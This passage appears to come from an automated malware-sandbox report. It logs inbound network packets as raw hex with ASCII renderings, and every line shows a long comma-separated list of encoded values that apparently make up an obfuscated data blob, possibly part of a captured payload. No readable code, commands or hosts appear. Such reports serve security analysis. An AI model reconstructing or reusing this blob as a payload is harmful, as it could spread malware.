2023-04-20 23:04:22 UTC	8077	IN	Data Raw: 2c 63 66 2c 66 63 2c 35 61 2c 65 31 2c 39 35 2c 38 66 2c 36 61 2c 37 38 2c 63 38 2c 64 61 2c 31 34 32 2c 39 36 2c 35 30 2c 66 35 2c 37 36 2c 36 30 2c 65 35 2c 61 64 2c 61 38 2c 34 62 2c 39 62 2c 66 65 2c 66 39 2c 64 39 2c 31 30 39 2c 63 66 2c 36 31 2c 31 33 35 2c 38 62 2c 31 31 64 2c 38 35 2c 38 63 2c 35 34 2c 31 32 36 2c 31 33 33 2c 66 32 2c 31 32 66 2c 31 31 63 2c 39 37 2c 31 33 33 2c 31 31 31 2c 31 32 33 2c 31 32 31 2c 34 61 2c 63 38 2c 61 64 2c 61 64 2c 37 33 2c 38 64 2c 38 37 2c 31 32 34 2c 31 30 31 2c 31 32 63 2c 31 33 36 2c 38 34 2c 61 37 2c 31 31 33 2c 37 30 2c 64 65 2c 61 32 2c 31 30 63 2c 64 33 2c 35 38 2c 62 38 2c 61 63 2c 66 32 2c 64 66 2c 31 32 34 2c 38 33 2c 31 31 34 2c 31 33 33 2c 65 63 2c 31 31 33 2c 63 64 2c 31 31 36 2c 38 33 2c 61 37 2c Data Ascii: ,cf,fc,5a,e1,95,8f,6a,78,c8,da,142,96,50,f5,76,60,e5,ad,a8,4b,9b,fe,f9,d9,109,cf,61,135,8b,11d,85,8c,54,126,133,f2,12f,11c,97,133,111,123,121,4a,c8,ad,ad,73,8d,87,124,101,12c,136,84,a7,113,70,de,a2,10c,d3,58,b8,ac,f2,df,124,83,114,133,ec,113,cd,116,83,a7,
2023-04-20 23:04:22 UTC	8093	IN	Data Raw: 38 2c 63 35 2c 31 31 61 2c 62 61 2c 64 38 2c 62 66 2c 31 30 30 2c 65 64 2c 66 39 2c 61 64 2c 62 39 2c 31 33 32 2c 39 37 2c 64 36 2c 31 36 30 2c 31 34 61 2c 38 63 2c 66 65 2c 34 64 2c 37 34 2c 65 39 2c 63 65 2c 36 62 2c 31 36 35 2c 38 63 2c 64 37 2c 65 38 2c 31 32 38 2c 31 35 39 2c 39 33 2c 63 31 2c 31 32 61 2c 38 61 2c 66 64 2c 31 31 30 2c 66 39 2c 31 31 35 2c 31 31 32 2c 36 31 2c 62 32 2c 66 32 2c 65 37 2c 31 30 39 2c 36 65 2c 31 34 32 2c 63 38 2c 31 31 61 2c 31 36 63 2c 31 33 39 2c 31 32 65 2c 64 33 2c 38 32 2c 64 35 2c 61 35 2c 35 66 2c 39 30 2c 61 32 2c 37 35 2c 61 33 2c 63 38 2c 39 64 2c 32 65 2c 31 34 62 2c 62 36 2c 31 36 33 2c 31 31 37 2c 36 36 2c 37 39 2c 61 37 2c 36 65 2c 31 33 37 2c 38 61 2c 31 35 33 2c 65 64 2c 62 66 2c 37 35 2c 31 35 30 2c 31 Data Ascii: 8,c5,11a,ba,d8,bf,100,ed,f9,ad,b9,132,97,d6,160,14a,8c,fe,4d,74,e9,ce,6b,165,8c,d7,e8,128,159,93,c1,12a,8a,fd,110,f9,115,112,61,b2,f2,e7,109,6e,142,c8,11a,16c,139,12e,d3,82,d5,a5,5f,90,a2,75,a3,c8,9d,2e,14b,b6,163,117,66,79,a7,6e,137,8a,153,ed,bf,75,150,1
2023-04-20 23:04:22 UTC	8109	IN	Data Raw: 2c 66 34 2c 62 35 2c 31 31 61 2c 31 34 38 2c 31 34 37 2c 64 38 2c 36 30 2c 31 30 39 2c 31 30 61 2c 64 61 2c 31 30 36 2c 66 64 2c 31 35 63 2c 31 30 62 2c 39 66 2c 64 30 2c 36 62 2c 64 34 2c 61 33 2c 37 35 2c 63 65 2c 31 33 32 2c 31 33 30 2c 63 32 2c 31 35 63 2c 37 37 2c 61 33 2c 61 31 2c 31 33 61 2c 31 33 33 2c 62 30 2c 64 66 2c 64 39 2c 66 39 2c 31 36 32 2c 39 30 2c 36 65 2c 36 33 2c 37 33 2c 31 30 65 2c 37 32 2c 31 32 36 2c 31 34 36 2c 31 30 39 2c 65 38 2c 62 62 2c 66 62 2c 65 34 2c 61 65 2c 65 34 2c 31 31 32 2c 39 66 2c 64 61 2c 31 30 38 2c 31 33 38 2c 31 32 31 2c 31 35 36 2c 34 35 2c 35 35 2c 66 36 2c 31 35 38 2c 31 33 66 2c 63 63 2c 37 64 2c 31 33 64 2c 65 38 2c 31 34 62 2c 64 32 2c 61 37 2c 31 30 63 2c 31 33 39 2c 31 31 38 2c 35 37 2c 36 65 2c 31 31 Data Ascii: ,f4,b5,11a,148,147,d8,60,109,10a,da,106,fd,15c,10b,9f,d0,6b,d4,a3,75,ce,132,130,c2,15c,77,a3,a1,13a,133,b0,df,d9,f9,162,90,6e,63,73,10e,72,126,146,109,e8,bb,fb,e4,ae,e4,112,9f,da,108,138,121,156,45,55,f6,158,13f,cc,7d,13d,e8,14b,d2,a7,10c,139,118,57,6e,11
2023-04-20 23:04:22 UTC	8125	IN	Data Raw: 30 2c 64 66 2c 64 66 2c 37 63 2c 31 31 30 2c 39 63 2c 63 38 2c 31 31 39 2c 31 33 64 2c 35 37 2c 63 63 2c 62 63 2c 63 30 2c 63 62 2c 31 32 39 2c 31 34 34 2c 31 32 35 2c 31 30 37 2c 66 66 2c 31 33 62 2c 31 30 39 2c 31 37 31 2c 31 30 62 2c 31 33 66 2c 34 30 2c 64 36 2c 65 31 2c 65 32 2c 35 37 2c 39 35 2c 63 65 2c 62 34 2c 36 64 2c 33 64 2c 63 37 2c 64 35 2c 65 30 2c 31 30 35 2c 61 39 2c 63 35 2c 31 35 30 2c 36 64 2c 31 34 31 2c 31 34 31 2c 63 39 2c 61 65 2c 31 34 37 2c 31 32 36 2c 66 37 2c 65 61 2c 65 38 2c 31 30 33 2c 64 65 2c 31 37 30 2c 31 32 34 2c 31 33 65 2c 31 32 33 2c 64 39 2c 62 30 2c 66 30 2c 31 33 64 2c 31 31 65 2c 66 34 2c 31 33 61 2c 61 64 2c 31 30 33 2c 31 33 66 2c 61 32 2c 34 62 2c 31 32 37 2c 37 66 2c 31 34 35 2c 31 33 33 2c 65 65 2c 63 31 2c Data Ascii: 0,df,df,7c,110,9c,c8,119,13d,57,cc,bc,c0,cb,129,144,125,107,ff,13b,109,171,10b,13f,40,d6,e1,e2,57,95,ce,b4,6d,3d,c7,d5,e0,105,a9,c5,150,6d,141,141,c9,ae,147,126,f7,ea,e8,103,de,170,124,13e,123,d9,b0,f0,13d,11e,f4,13a,ad,103,13f,a2,4b,127,7f,145,133,ee,c1,
2023-04-20 23:04:22 UTC	8141	IN	Data Raw: 2c 31 33 64 2c 39 31 2c 63 65 2c 36 37 2c 63 38 2c 64 38 2c 66 36 2c 31 33 61 2c 63 66 2c 31 35 61 2c 66 62 2c 31 32 34 2c 31 33 37 2c 62 31 2c 36 62 2c 31 32 33 2c 31 33 33 2c 64 34 2c 38 63 2c 38 38 2c 36 36 2c 66 34 2c 64 66 2c 31 32 31 2c 63 63 2c 31 34 38 2c 31 35 37 2c 31 32 64 2c 61 63 2c 37 65 2c 65 36 2c 31 34 33 2c 39 66 2c 61 64 2c 31 33 37 2c 61 65 2c 39 36 2c 64 62 2c 31 31 31 2c 65 37 2c 31 30 30 2c 65 31 2c 65 61 2c 61 34 2c 31 32 66 2c 31 30 61 2c 36 65 2c 35 63 2c 38 63 2c 31 36 61 2c 31 31 62 2c 64 33 2c 31 30 32 2c 37 31 2c 63 30 2c 31 31 64 2c 31 31 65 2c 37 37 2c 31 33 36 2c 66 32 2c 64 33 2c 31 31 61 2c 64 62 2c 66 65 2c 31 36 32 2c 64 39 2c 31 32 62 2c 37 34 2c 31 32 37 2c 31 30 62 2c 63 35 2c 35 33 2c 61 33 2c 63 32 2c 31 33 65 2c Data Ascii: ,13d,91,ce,67,c8,d8,f6,13a,cf,15a,fb,124,137,b1,6b,123,133,d4,8c,88,66,f4,df,121,cc,148,157,12d,ac,7e,e6,143,9f,ad,137,ae,96,db,111,e7,100,e1,ea,a4,12f,10a,6e,5c,8c,16a,11b,d3,102,71,c0,11d,11e,77,136,f2,d3,11a,db,fe,162,d9,12b,74,127,10b,c5,53,a3,c2,13e,
2023-04-20 23:04:22 UTC	8157	IN	Data Raw: 32 65 2c 38 31 2c 64 66 2c 35 36 2c 37 37 2c 39 34 2c 31 36 64 2c 31 32 34 2c 62 31 2c 63 66 2c 64 36 2c 62 34 2c 66 32 2c 31 33 64 2c 63 32 2c 31 32 35 2c 65 37 2c 34 39 2c 31 32 64 2c 39 33 2c 38 63 2c 37 34 2c 39 65 2c 66 62 2c 64 38 2c 34 39 2c 63 63 2c 31 30 34 2c 36 37 2c 31 33 64 2c 65 34 2c 36 37 2c 31 31 34 2c 63 35 2c 31 31 65 2c 31 33 62 2c 66 38 2c 31 32 64 2c 31 34 37 2c 63 62 2c 31 31 36 2c 61 66 2c 37 38 2c 31 34 35 2c 62 66 2c 31 30 61 2c 31 37 32 2c 31 34 63 2c 31 30 37 2c 62 34 2c 63 33 2c 65 34 2c 35 31 2c 31 30 65 2c 31 33 62 2c 31 36 36 2c 62 66 2c 39 33 2c 63 63 2c 61 63 2c 61 66 2c 63 65 2c 63 39 2c 31 34 39 2c 63 39 2c 31 33 32 2c 38 65 2c 38 39 2c 31 32 34 2c 65 35 2c 65 62 2c 65 64 2c 64 64 2c 31 31 30 2c 63 36 2c 61 35 2c 38 32 Data Ascii: 2e,81,df,56,77,94,16d,124,b1,cf,d6,b4,f2,13d,c2,125,e7,49,12d,93,8c,74,9e,fb,d8,49,cc,104,67,13d,e4,67,114,c5,11e,13b,f8,12d,147,cb,116,af,78,145,bf,10a,172,14c,107,b4,c3,e4,51,10e,13b,166,bf,93,cc,ac,af,ce,c9,149,c9,132,8e,89,124,e5,eb,ed,dd,110,c6,a5,82
2023-04-20 23:04:22 UTC	8173	IN	Data Raw: 2c 62 35 2c 36 37 2c 31 30 63 2c 62 66 2c 31 31 62 2c 37 63 2c 36 64 2c 31 32 36 2c 65 33 2c 31 34 36 2c 38 34 2c 31 31 33 2c 35 63 2c 31 30 39 2c 65 61 2c 38 33 2c 31 35 30 2c 31 32 31 2c 62 61 2c 31 32 30 2c 31 34 39 2c 64 32 2c 63 33 2c 63 30 2c 39 65 2c 31 34 38 2c 31 31 30 2c 31 35 34 2c 62 30 2c 64 65 2c 31 30 34 2c 64 30 2c 31 35 31 2c 31 31 38 2c 31 34 30 2c 62 30 2c 65 30 2c 34 61 2c 35 39 2c 36 65 2c 66 62 2c 31 31 66 2c 31 33 32 2c 61 38 2c 66 35 2c 35 38 2c 63 34 2c 66 33 2c 31 30 38 2c 63 33 2c 35 33 2c 31 30 33 2c 64 66 2c 64 37 2c 37 34 2c 31 31 36 2c 61 35 2c 31 31 36 2c 64 34 2c 61 33 2c 63 62 2c 63 31 2c 31 31 30 2c 65 36 2c 31 32 39 2c 61 61 2c 31 33 30 2c 31 32 32 2c 61 61 2c 31 32 63 2c 66 65 2c 31 32 30 2c 37 30 2c 31 33 66 2c 31 31 Data Ascii: ,b5,67,10c,bf,11b,7c,6d,126,e3,146,84,113,5c,109,ea,83,150,121,ba,120,149,d2,c3,c0,9e,148,110,154,b0,de,104,d0,151,118,140,b0,e0,4a,59,6e,fb,11f,132,a8,f5,58,c4,f3,108,c3,53,103,df,d7,74,116,a5,116,d4,a3,cb,c1,110,e6,129,aa,130,122,aa,12c,fe,120,70,13f,11
2023-04-20 23:04:22 UTC	8189	IN	Data Raw: 37 32 2c 61 66 2c 62 61 2c 31 33 34 2c 31 35 39 2c 39 37 2c 31 34 35 2c 37 36 2c 31 30 32 2c 64 65 2c 31 32 30 2c 31 34 30 2c 31 34 39 2c 31 32 35 2c 31 33 61 2c 65 33 2c 64 31 2c 61 32 2c 31 32 35 2c 31 30 61 2c 31 32 32 2c 66 63 2c 31 30 30 2c 66 30 2c 64 38 2c 62 35 2c 31 32 32 2c 31 30 33 2c 31 35 30 2c 31 32 64 2c 65 31 2c 31 30 32 2c 37 36 2c 63 31 2c 38 30 2c 65 63 2c 64 31 2c 31 35 61 2c 64 39 2c 64 39 2c 31 33 32 2c 37 32 2c 31 36 32 2c 31 33 35 2c 31 31 34 2c 39 33 2c 66 30 2c 35 65 2c 64 32 2c 64 63 2c 31 33 64 2c 38 62 2c 66 35 2c 38 36 2c 39 30 2c 31 34 33 2c 36 66 2c 64 66 2c 36 30 2c 31 31 37 2c 31 36 64 2c 31 31 63 2c 64 63 2c 31 30 30 2c 39 30 2c 31 33 32 2c 64 37 2c 65 62 2c 31 35 33 2c 39 31 2c 31 32 32 2c 66 38 2c 35 66 2c 31 32 31 2c Data Ascii: 72,af,ba,134,159,97,145,76,102,de,120,140,149,125,13a,e3,d1,a2,125,10a,122,fc,100,f0,d8,b5,122,103,150,12d,e1,102,76,c1,80,ec,d1,15a,d9,d9,132,72,162,135,114,93,f0,5e,d2,dc,13d,8b,f5,86,90,143,6f,df,60,117,16d,11c,dc,100,90,132,d7,eb,153,91,122,f8,5f,121,
2023-04-20 23:04:22 UTC	8205	IN	Data Raw: 35 2c 38 39 2c 65 34 2c 31 32 65 2c 31 31 66 2c 64 38 2c 31 31 62 2c 31 32 62 2c 62 61 2c 31 35 64 2c 63 63 2c 31 33 34 2c 35 36 2c 31 32 31 2c 36 66 2c 38 66 2c 66 63 2c 31 35 31 2c 38 66 2c 31 32 65 2c 31 31 30 2c 36 66 2c 39 61 2c 31 31 62 2c 31 30 63 2c 64 39 2c 31 33 33 2c 31 32 37 2c 63 63 2c 31 32 62 2c 61 65 2c 31 31 61 2c 62 34 2c 31 32 32 2c 36 33 2c 66 31 2c 38 30 2c 37 34 2c 39 30 2c 61 65 2c 66 39 2c 31 35 66 2c 31 35 66 2c 31 33 32 2c 31 32 64 2c 31 32 33 2c 62 32 2c 31 36 64 2c 38 32 2c 31 32 38 2c 31 33 33 2c 31 33 30 2c 62 33 2c 39 36 2c 63 37 2c 61 62 2c 63 30 2c 31 34 30 2c 62 63 2c 62 65 2c 31 34 64 2c 31 33 64 2c 37 39 2c 31 31 34 2c 66 33 2c 31 36 65 2c 39 34 2c 31 34 32 2c 64 34 2c 37 35 2c 31 33 36 2c 31 31 62 2c 64 64 2c 31 35 33 Data Ascii: 5,89,e4,12e,11f,d8,11b,12b,ba,15d,cc,134,56,121,6f,8f,fc,151,8f,12e,110,6f,9a,11b,10c,d9,133,127,cc,12b,ae,11a,b4,122,63,f1,80,74,90,ae,f9,15f,15f,132,12d,123,b2,16d,82,128,133,130,b3,96,c7,ab,c0,140,bc,be,14d,13d,79,114,f3,16e,94,142,d4,75,136,11b,dd,153
2023-04-20 23:04:22 UTC	8221	IN	Data Raw: 30 2c 62 38 2c 31 31 35 2c 31 34 33 2c 66 64 2c 62 35 2c 31 30 39 2c 38 38 2c 61 33 2c 38 61 2c 31 30 63 2c 36 61 2c 61 32 2c 65 36 2c 38 36 2c 31 32 62 2c 65 38 2c 63 66 2c 31 30 65 2c 31 30 36 2c 37 64 2c 31 34 34 2c 38 35 2c 31 31 64 2c 31 31 32 2c 31 32 36 2c 31 33 30 2c 31 34 31 2c 39 66 2c 34 35 2c 31 35 32 2c 31 36 31 2c 34 39 2c 31 30 31 2c 39 34 2c 62 64 2c 31 31 63 2c 63 34 2c 36 30 2c 38 64 2c 36 34 2c 31 30 33 2c 65 65 2c 61 66 2c 31 32 64 2c 31 33 37 2c 35 62 2c 37 64 2c 31 31 65 2c 62 31 2c 31 30 39 2c 38 37 2c 64 35 2c 31 30 31 2c 37 34 2c 31 31 39 2c 64 64 2c 65 30 2c 66 33 2c 31 30 37 2c 63 63 2c 31 31 36 2c 63 32 2c 31 36 32 2c 66 65 2c 65 62 2c 39 37 2c 65 39 2c 31 32 39 2c 31 34 34 2c 31 30 65 2c 65 62 2c 37 61 2c 39 32 2c 31 33 39 2c Data Ascii: 0,b8,115,143,fd,b5,109,88,a3,8a,10c,6a,a2,e6,86,12b,e8,cf,10e,106,7d,144,85,11d,112,126,130,141,9f,45,152,161,49,101,94,bd,11c,c4,60,8d,64,103,ee,af,12d,137,5b,7d,11e,b1,109,87,d5,101,74,119,dd,e0,f3,107,cc,116,c2,162,fe,eb,97,e9,129,144,10e,eb,7a,92,139,
2023-04-20 23:04:22 UTC	8237	IN	Data Raw: 37 36 2c 31 32 30 2c 31 33 37 2c 64 32 2c 38 66 2c 31 36 64 2c 37 36 2c 36 38 2c 31 31 61 2c 31 32 33 2c 61 61 2c 65 39 2c 31 31 64 2c 66 62 2c 65 32 2c 31 32 37 2c 31 30 37 2c 31 30 37 2c 64 37 2c 39 31 2c 65 33 2c 35 31 2c 65 33 2c 63 34 2c 31 35 34 2c 62 39 2c 37 35 2c 39 61 2c 64 32 2c 65 62 2c 35 61 2c 37 38 2c 37 33 2c 62 34 2c 31 36 32 2c 31 31 38 2c 38 65 2c 31 32 36 2c 36 61 2c 66 33 2c 64 39 2c 66 35 2c 31 35 33 2c 36 64 2c 39 31 2c 64 35 2c 31 34 34 2c 35 37 2c 31 34 31 2c 38 38 2c 31 32 65 2c 31 30 65 2c 39 39 2c 36 66 2c 63 34 2c 38 66 2c 64 39 2c 31 33 33 2c 36 31 2c 37 33 2c 64 34 2c 33 62 2c 36 30 2c 31 33 64 2c 31 34 38 2c 37 66 2c 63 62 2c 39 37 2c 61 33 2c 31 37 32 2c 31 35 36 2c 31 32 38 2c 63 62 2c 65 61 2c 31 31 32 2c 31 33 65 2c 61 Data Ascii: 76,120,137,d2,8f,16d,76,68,11a,123,aa,e9,11d,fb,e2,127,107,107,d7,91,e3,51,e3,c4,154,b9,75,9a,d2,eb,5a,78,73,b4,162,118,8e,126,6a,f3,d9,f5,153,6d,91,d5,144,57,141,88,12e,10e,99,6f,c4,8f,d9,133,61,73,d4,3b,60,13d,148,7f,cb,97,a3,172,156,128,cb,ea,112,13e,a
2023-04-20 23:04:22 UTC	8253	IN	Data Raw: 2c 38 63 2c 39 65 2c 65 65 2c 66 66 2c 39 30 2c 31 32 64 2c 31 36 37 2c 39 38 2c 31 33 30 2c 36 31 2c 31 34 62 2c 31 30 39 2c 61 33 2c 65 36 2c 31 31 31 2c 65 32 2c 63 62 2c 31 30 30 2c 31 34 31 2c 65 36 2c 31 32 62 2c 31 34 65 2c 63 34 2c 64 66 2c 61 32 2c 31 30 66 2c 31 34 61 2c 31 32 65 2c 37 35 2c 63 38 2c 31 35 62 2c 31 33 66 2c 39 38 2c 31 30 65 2c 31 32 32 2c 33 66 2c 31 32 34 2c 62 33 2c 64 32 2c 31 33 39 2c 38 35 2c 35 34 2c 31 31 36 2c 34 62 2c 66 61 2c 39 31 2c 38 30 2c 31 31 30 2c 31 34 35 2c 65 33 2c 65 62 2c 39 64 2c 31 35 66 2c 66 34 2c 38 61 2c 65 37 2c 61 33 2c 31 30 36 2c 37 32 2c 61 37 2c 37 33 2c 31 30 30 2c 31 30 35 2c 39 37 2c 39 36 2c 65 30 2c 36 64 2c 66 61 2c 35 39 2c 36 30 2c 31 36 32 2c 64 65 2c 64 66 2c 31 30 34 2c 38 64 2c 63 Data Ascii: ,8c,9e,ee,ff,90,12d,167,98,130,61,14b,109,a3,e6,111,e2,cb,100,141,e6,12b,14e,c4,df,a2,10f,14a,12e,75,c8,15b,13f,98,10e,122,3f,124,b3,d2,139,85,54,116,4b,fa,91,80,110,145,e3,eb,9d,15f,f4,8a,e7,a3,106,72,a7,73,100,105,97,96,e0,6d,fa,59,60,162,de,df,104,8d,c
2023-04-20 23:04:22 UTC	8269	IN	Data Raw: 31 65 2c 31 30 31 2c 65 35 2c 65 36 2c 31 34 63 2c 31 31 36 2c 31 31 65 2c 66 66 2c 31 36 30 2c 31 35 33 2c 66 65 2c 39 34 2c 31 32 61 2c 31 34 62 2c 31 35 38 2c 31 33 30 2c 31 32 62 2c 65 30 2c 31 30 30 2c 36 39 2c 66 34 2c 38 33 2c 61 39 2c 66 32 2c 66 33 2c 31 34 33 2c 31 32 63 2c 66 64 2c 63 38 2c 63 39 2c 31 32 34 2c 35 32 2c 61 66 2c 62 38 2c 36 30 2c 31 34 63 2c 65 66 2c 39 39 2c 37 64 2c 39 31 2c 31 32 63 2c 31 35 62 2c 64 62 2c 31 32 61 2c 31 30 34 2c 37 35 2c 31 30 37 2c 61 64 2c 66 66 2c 31 32 30 2c 61 65 2c 35 33 2c 31 32 38 2c 39 33 2c 31 30 64 2c 31 33 33 2c 31 33 33 2c 31 34 34 2c 66 39 2c 31 36 30 2c 31 36 32 2c 66 31 2c 64 39 2c 36 64 2c 62 33 2c 31 31 31 2c 65 31 2c 31 32 38 2c 66 64 2c 63 33 2c 31 33 30 2c 31 32 37 2c 38 35 2c 64 38 2c Data Ascii: 1e,101,e5,e6,14c,116,11e,ff,160,153,fe,94,12a,14b,158,130,12b,e0,100,69,f4,83,a9,f2,f3,143,12c,fd,c8,c9,124,52,af,b8,60,14c,ef,99,7d,91,12c,15b,db,12a,104,75,107,ad,ff,120,ae,53,128,93,10d,133,133,144,f9,160,162,f1,d9,6d,b3,111,e1,128,fd,c3,130,127,85,d8,
2023-04-20 23:04:22 UTC	8285	IN	Data Raw: 66 64 2c 66 36 2c 64 36 2c 35 37 2c 31 35 36 2c 64 37 2c 31 34 65 2c 61 63 2c 31 31 33 2c 31 30 31 2c 62 33 2c 31 31 64 2c 31 30 35 2c 61 32 2c 61 32 2c 39 37 2c 31 35 63 2c 66 33 2c 65 31 2c 39 63 2c 63 39 2c 38 64 2c 62 36 2c 38 66 2c 31 31 64 2c 65 36 2c 38 34 2c 31 30 65 2c 62 64 2c 34 63 2c 64 38 2c 64 35 2c 31 33 30 2c 31 34 31 2c 38 35 2c 37 65 2c 39 61 2c 38 36 2c 63 62 2c 31 31 61 2c 31 33 37 2c 38 32 2c 66 38 2c 65 32 2c 63 39 2c 36 62 2c 31 32 35 2c 31 35 36 2c 31 31 39 2c 39 32 2c 31 31 37 2c 31 36 33 2c 33 37 2c 35 37 2c 62 30 2c 31 33 64 2c 65 65 2c 31 33 36 2c 62 62 2c 61 39 2c 31 31 62 2c 31 32 66 2c 62 34 2c 38 65 2c 31 30 35 2c 31 35 61 2c 63 32 2c 35 35 2c 37 62 2c 63 65 2c 31 34 37 2c 31 32 32 2c 31 32 32 2c 31 32 62 2c 31 30 35 2c 61 Data Ascii: fd,f6,d6,57,156,d7,14e,ac,113,101,b3,11d,105,a2,a2,97,15c,f3,e1,9c,c9,8d,b6,8f,11d,e6,84,10e,bd,4c,d8,d5,130,141,85,7e,9a,86,cb,11a,137,82,f8,e2,c9,6b,125,156,119,92,117,163,37,57,b0,13d,ee,136,bb,a9,11b,12f,b4,8e,105,15a,c2,55,7b,ce,147,122,122,12b,105,a
2023-04-20 23:04:22 UTC	8301	IN	Data Raw: 36 65 2c 38 38 2c 31 32 35 2c 37 66 2c 64 66 2c 31 32 34 2c 37 63 2c 31 31 39 2c 36 63 2c 63 61 2c 36 66 2c 39 35 2c 36 37 2c 31 30 64 2c 61 37 2c 63 32 2c 63 38 2c 37 65 2c 36 38 2c 35 35 2c 38 35 2c 64 36 2c 39 66 2c 31 32 33 2c 39 66 2c 39 32 2c 37 34 2c 61 64 2c 64 66 2c 31 32 64 2c 64 62 2c 38 31 2c 31 35 63 2c 61 33 2c 31 32 66 2c 39 62 2c 63 62 2c 31 37 33 2c 31 34 63 2c 36 36 2c 37 66 2c 31 32 38 2c 31 30 38 2c 36 62 2c 31 34 66 2c 37 61 2c 66 38 2c 61 35 2c 36 62 2c 31 35 32 2c 31 33 39 2c 65 35 2c 63 30 2c 62 30 2c 31 31 30 2c 63 38 2c 36 30 2c 38 62 2c 31 35 63 2c 61 38 2c 38 37 2c 35 37 2c 31 34 64 2c 31 34 64 2c 66 34 2c 62 39 2c 63 65 2c 39 38 2c 63 39 2c 31 34 38 2c 66 36 2c 63 66 2c 39 31 2c 64 38 2c 36 64 2c 66 33 2c 66 65 2c 31 30 35 2c Data Ascii: 6e,88,125,7f,df,124,7c,119,6c,ca,6f,95,67,10d,a7,c2,c8,7e,68,55,85,d6,9f,123,9f,92,74,ad,df,12d,db,81,15c,a3,12f,9b,cb,173,14c,66,7f,128,108,6b,14f,7a,f8,a5,6b,152,139,e5,c0,b0,110,c8,60,8b,15c,a8,87,57,14d,14d,f4,b9,ce,98,c9,148,f6,cf,91,d8,6d,f3,fe,105,
2023-04-20 23:04:22 UTC	8317	IN	Data Raw: 2c 61 30 2c 39 34 2c 39 65 2c 31 34 37 2c 66 30 2c 31 34 33 2c 31 31 30 2c 65 36 2c 38 39 2c 65 61 2c 63 32 2c 38 64 2c 31 30 62 2c 62 64 2c 37 63 2c 62 37 2c 61 32 2c 63 62 2c 37 39 2c 33 61 2c 38 63 2c 36 62 2c 37 34 2c 31 34 31 2c 62 32 2c 31 31 31 2c 31 32 34 2c 38 34 2c 34 61 2c 31 36 63 2c 65 37 2c 35 63 2c 38 38 2c 31 31 65 2c 39 35 2c 61 63 2c 31 30 63 2c 63 34 2c 31 35 34 2c 31 34 30 2c 31 34 37 2c 31 34 39 2c 63 66 2c 31 34 34 2c 63 30 2c 63 64 2c 39 39 2c 31 31 34 2c 64 30 2c 61 35 2c 65 33 2c 34 30 2c 37 35 2c 38 66 2c 63 64 2c 35 35 2c 31 33 31 2c 37 36 2c 35 39 2c 31 33 64 2c 36 62 2c 31 31 34 2c 61 61 2c 36 37 2c 31 30 39 2c 31 35 34 2c 64 39 2c 66 36 2c 61 32 2c 64 33 2c 65 66 2c 31 36 62 2c 31 32 66 2c 62 36 2c 31 31 35 2c 31 31 30 2c 36 Data Ascii: ,a0,94,9e,147,f0,143,110,e6,89,ea,c2,8d,10b,bd,7c,b7,a2,cb,79,3a,8c,6b,74,141,b2,111,124,84,4a,16c,e7,5c,88,11e,95,ac,10c,c4,154,140,147,149,cf,144,c0,cd,99,114,d0,a5,e3,40,75,8f,cd,55,131,76,59,13d,6b,114,aa,67,109,154,d9,f6,a2,d3,ef,16b,12f,b6,115,110,6
2023-04-20 23:04:22 UTC	8333	IN	Data Raw: 31 31 63 2c 31 32 38 2c 31 30 31 2c 38 65 2c 62 62 2c 61 66 2c 31 33 63 2c 31 34 38 2c 31 30 35 2c 39 37 2c 31 34 37 2c 65 30 2c 66 38 2c 37 36 2c 31 33 32 2c 61 62 2c 66 65 2c 31 31 35 2c 65 33 2c 37 35 2c 33 65 2c 62 66 2c 62 65 2c 31 33 32 2c 31 31 30 2c 62 32 2c 35 31 2c 31 30 66 2c 39 31 2c 64 31 2c 31 30 30 2c 62 62 2c 39 62 2c 31 31 66 2c 65 36 2c 31 34 35 2c 63 61 2c 31 33 33 2c 31 32 33 2c 62 34 2c 66 66 2c 31 32 38 2c 39 36 2c 37 37 2c 64 36 2c 31 32 38 2c 39 62 2c 31 34 64 2c 36 61 2c 39 61 2c 37 39 2c 39 31 2c 64 65 2c 35 31 2c 31 33 65 2c 66 64 2c 38 38 2c 31 32 39 2c 31 32 66 2c 65 31 2c 66 63 2c 65 30 2c 31 35 62 2c 63 38 2c 62 31 2c 35 30 2c 61 33 2c 66 30 2c 35 33 2c 66 64 2c 31 34 39 2c 63 34 2c 31 35 32 2c 33 61 2c 31 33 61 2c 31 35 62 Data Ascii: 11c,128,101,8e,bb,af,13c,148,105,97,147,e0,f8,76,132,ab,fe,115,e3,75,3e,bf,be,132,110,b2,51,10f,91,d1,100,bb,9b,11f,e6,145,ca,133,123,b4,ff,128,96,77,d6,128,9b,14d,6a,9a,79,91,de,51,13e,fd,88,129,12f,e1,fc,e0,15b,c8,b1,50,a3,f0,53,fd,149,c4,152,3a,13a,15b
2023-04-20 23:04:22 UTC	8349	IN	Data Raw: 64 2c 39 30 2c 38 34 2c 38 38 2c 66 39 2c 37 62 2c 37 32 2c 31 32 61 2c 64 31 2c 64 62 2c 61 65 2c 61 38 2c 66 31 2c 31 30 63 2c 31 36 33 2c 31 35 39 2c 66 32 2c 38 30 2c 31 33 35 2c 31 33 39 2c 31 33 34 2c 31 30 30 2c 36 65 2c 63 32 2c 39 32 2c 38 32 2c 38 36 2c 65 34 2c 31 30 37 2c 31 32 33 2c 38 36 2c 62 37 2c 38 32 2c 62 37 2c 33 39 2c 31 33 30 2c 65 61 2c 37 63 2c 65 36 2c 31 33 65 2c 62 61 2c 31 35 65 2c 66 63 2c 31 32 64 2c 65 33 2c 31 32 30 2c 31 33 31 2c 31 31 31 2c 39 64 2c 66 30 2c 36 32 2c 31 34 37 2c 31 32 65 2c 31 30 33 2c 37 30 2c 35 62 2c 65 65 2c 64 61 2c 31 31 63 2c 39 32 2c 62 30 2c 61 34 2c 65 30 2c 63 35 2c 31 34 66 2c 31 35 39 2c 64 31 2c 65 30 2c 36 35 2c 62 39 2c 31 34 35 2c 37 39 2c 66 65 2c 66 30 2c 63 65 2c 31 32 62 2c 38 61 2c Data Ascii: d,90,84,88,f9,7b,72,12a,d1,db,ae,a8,f1,10c,163,159,f2,80,135,139,134,100,6e,c2,92,82,86,e4,107,123,86,b7,82,b7,39,130,ea,7c,e6,13e,ba,15e,fc,12d,e3,120,131,111,9d,f0,62,147,12e,103,70,5b,ee,da,11c,92,b0,a4,e0,c5,14f,159,d1,e0,65,b9,145,79,fe,f0,ce,12b,8a,
